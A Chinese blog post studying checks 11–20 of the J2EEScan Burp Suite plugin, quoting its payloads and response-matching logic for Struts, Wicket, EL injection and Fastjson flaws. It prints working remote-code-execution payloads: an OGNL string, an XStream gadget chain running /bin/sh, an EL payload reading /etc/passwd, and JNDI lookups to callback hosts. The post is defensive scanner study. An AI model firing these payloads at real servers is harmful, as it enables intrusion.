【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)
前言
插件开发学习第7套。前置文章:
【BurpSuite】插件开发学习之Log4shell
【BurpSuite】插件开发学习之Software Vulnerability Scanner
【BurpSuite】插件开发学习之dotnet-Beautifier
【BurpSuite】插件开发学习之active-scan-plus-plus
【BurpSuite】插件开发学习之J2EEScan(上)-被动扫描
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(1-10)
继续上一章的分析
【11】ApacheStrutsS2017-S2-017
参数较016 少了redirect:
redirectMeth.add("redirect:");
redirectMeth.add("redirectAction:");
payload
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL)
);
这里竟然没有恶意参数,知识一个跳转
match返回的状态码和header头
if (statusCode >= 300 && statusCode < 400) {
if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {
看起来s2 017就是个URL跳转
https://www.cnblogs.com/jinqi520/p/10813737.html
【12】ApacheStrutsS2020 - S2-020
参数
modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",
classLoaderStringTest, IParameter.PARAM_URL)
);
payload
long unixTime = System.currentTimeMillis() / 1000L;
String classLoaderStringTest = "testClassloaderManipulation" + unixTime;
match返回包
private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",
这个漏洞原理是支持使用classLoader
可以看这篇
struts自定义的classloadr
class.classLoader.resources.dirContext.docBase
这里有两种绕过姿势
- class[‘classLoader’]
- Class.classloader
问题正则
(.*\.|^)class\..* 两种都能绕过
(.*\.|^)(class|Class)(\.|\[).* 中括号可以绕过
安全正则
(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*
【13】ApacheStrutsS2032 - S2-032
老样子,去除所有参数
byte[] rawrequest = baseRequestResponse.getRequest();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
入参
method:
payload
%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString
展开看看
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#kzxs.print(#parameters.hook[0]),
#kzxs.print(new java.lang.Integer(829+9)),
#kzxs.close(),1?
#xx:
#request.toString
第一步:从表达式上解释设置context中_memberAccess值为ognl.OgnlContext的属性DEFAULT_MEMBER_ACCESS的值.(SecurityMemberAccess 比较严格限制了反射类,DefaultMemberAccess不限制反射类),后面直接调用反射就行。
其中hook[0]是后面的参数
modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,
callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL)
);
match,因为print了俩,一个是HOOK_VAL,一个是表达式计算的值。
private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",
Pattern.DOTALL | Pattern.MULTILINE);
【14】ApacheStrutsS2043 - S2-043(Config Browser插件泄露)
遍历path
private static final List<String> BROWSER_PATHS = Arrays.asList(
"/config-browser/actionNames",
"/config-browser/actionNames.action"
);
请求之后match
private static final byte[] GREP_STRING = "<title>Actions in namespace</title>".getBytes();
【15】ApacheStrutsS2052-S2-052
首先判断了有没有content-type
String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
毕竟payload要靠xml传过去
增加content-type
List<String> headersWithContentTypeXML = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/xml");
payload
String payload = " ping " + currentCollaboratorPayload;
String xmlMarshallingBody= "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
" <dataHandler>\n" +
" <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
" <is class=\"javax.crypto.CipherInputStream\">\n" +
" <cipher class=\"javax.crypto.NullCipher\">\n" +
" <initialized>false</initialized>\n" +
" <opmode>0</opmode>\n" +
" <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
" <next class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>/bin/sh</string><string>-c </string><string>" + payload + "</string>\n" +
" </command>\n" +
" <redirectErrorStream>false</redirectErrorStream>\n" +
" </next>\n" +
" </iter>\n" +
" <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
" <method>\n" +
" <class>java.lang.ProcessBuilder</class>\n" +
" <name>start</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <name>foo</name>\n" +
" </filter>\n" +
" <next class=\"string\">foo</next>\n" +
" </serviceIterator>\n" +
" <lock/>\n" +
" </cipher>\n" +
" <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
" <ibuffer/>\n" +
" <done>false</done>\n" +
" <ostart>0</ostart>\n" +
" <ofinish>0</ofinish>\n" +
" <closed>false</closed>\n" +
" </is>\n" +
" <consumed>false</consumed>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
" </entry>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" </entry>\n" +
"</map>";
这个payload和之前的有所不同,查一下漏洞原理:
使用Struts2 REST插件的XStream组件反序列化操作没有校验。
https://blog.csdn.net/qq_44312507/article/details/103585253
match的话match
collaboratorContext的接收值就行。
【16】ApacheStrutsShowcase
ApacheStrutsShowcase
关键路劲
private static final List<String> STRUTS_SHOWCASE_PATHS = Arrays.asList(
"/struts2-showcase/showcase.action"
);
如果match到
private static final byte[] GREP_STRING = "<title>Struts2 Showcase</title>".getBytes();
则存在问题
看上去这个showcase.action在多个S2系列的漏洞中出现,比较容易出问题。
https://www.anquanke.com/post/id/86757
【16】ApacheStrutsWebConsole
控制台路径
private static final List<String> STRUTS_WEBCONSOLE_PATHS = Arrays.asList(
"/struts/webconsole.html?debug=console"
);
如果match到
private static final byte[] GREP_STRING = "title>OGNL Console".getBytes();
则存在问题
长这样
但是有利用条件
只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下,webconsole.html页面才有可能存在安全漏洞的风险。
https://www.secpulse.com/archives/48383.html
【17】ApacheWicketArbitraryResourceAccess 目录穿越漏洞
路径包含
"wicket/resource")
payload则是替换掉上面的路径
换成
private static final List<String> PAYLOADS = Arrays.asList(
"wicket/resource/int/wicket.properties,/bla/ HTTP",
"wicket/resources/int/wicket.properties,/bla/ HTTP"
);
这里采用的是替换原始请求包正则匹配
byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));
match则是
private static final byte[] GREP_STRING = "initializer=".getBytes();
百度竟然没有找到相关漏洞解释
去apache看看
https://issues.apache.org/jira/browse/WICKET-4427
看出来了,是目录穿越
public ExtensionResourceNameIterator(String path, final String extension)
{
if ((extension == null) && (path.indexOf('.') != -1))
{
// Get the extension from the path provided
extensions = new String[] { "." + Strings.lastPathComponent(path, '.') };
path = Strings.beforeLastPathComponent(path, '.');
}
else if (extension != null)
{
// Extension can be a comma separated list
extensions = Strings.split(extension, ',');
for (int i = extensions.length - 1; i >= 0; i--)
{
extensions[i] = extensions[i].trim();
if (!extensions[i].startsWith("."))
{
extensions[i] = "." + extensions[i];
}
}
}
else
{
extensions = new String[1];
extensions[0] = ".";
}
this.path = path;
index = 0;
}
注意这个分支
else if (extension != null)
{
// Extension can be a comma separated list
extensions = Strings.split(extension, ',');
for (int i = extensions.length - 1; i >= 0; i--)
{
extensions[i] = extensions[i].trim();
if (!extensions[i].startsWith("."))
{
extensions[i] = "." + extensions[i];
}
}
}
相当于根据,取了多个后缀然后拼接造成了路径穿越。
【18】EL3Injection EL 3.0/Lambda Injection EL表达式注入
payload
private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
"System.getProperties()".getBytes()
);
直接post请求发过去
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
match到
private static final byte[] GREP_STRING = "java.vendor".getBytes();
则存在漏洞
这是直接执行命令??
match的是命令结果
看了下文章
不太现实,是指用户的输入直接传入了elp.eval执行
【19】ELInjection EL (Expression Language) Injection
payload
byte[] EL_TEST = "(new+java.util.Scanner((T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\").getInputStream()),\"UTF-8\")).useDelimiter(\"\\\\A\").next()".getBytes();
拆分一下
a = T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\")
b = a.getInputStream()
c = new java.util.Scanner(b,utf)
d = c.useDelimiter(\"\\\\A\")
e = d.next()
match的话就matchpasswd,这个判断不好,既然都是exec,为何不用ping这种跨平台的命令或者echo。
第二中payload
HashMap<byte[], byte[]> EL_INJECTIONS = new HashMap<byte[], byte[]>() {
{
put("${applicationScope}".getBytes(), "javax.servlet.context".getBytes());
put("#{applicationScope}".getBytes(), "javax.servlet.context".getBytes());
put(String.format("${%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
put(String.format("#{%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
put(String.format("{{%d*%d}}", firstInt, secondInt).getBytes(), multiplication.getBytes());
}
};
key是payload,value是响应包的match
EL表达式
https://xz.aliyun.com/t/7692
【20】FastJsonRCE CVE 2017-18349
payload
// https://github.com/jas502n/fastjson-1.2.61-RCE
List<String> PAYLOADS = new ArrayList<>();
PAYLOADS.add("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/obj\",\"autoCommit\":true}");
PAYLOADS.add("{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://%s:80/ExportObject\"}");
PAYLOADS.add("{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/ExportObject\",\"autoCommit\":true}}");
PAYLOADS.add("{\"a\":{ \"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%s:80/ExportObject\",\"autoCommit\":true}}");
记得改content-type
String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
if (contentTypeHeader != null && !contentTypeHeader.contains("json")) {
match dnslog即可
collaboratorContext
分析看这个吧
http://xxlegend.com/2018/10/23/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/
后话
本章结束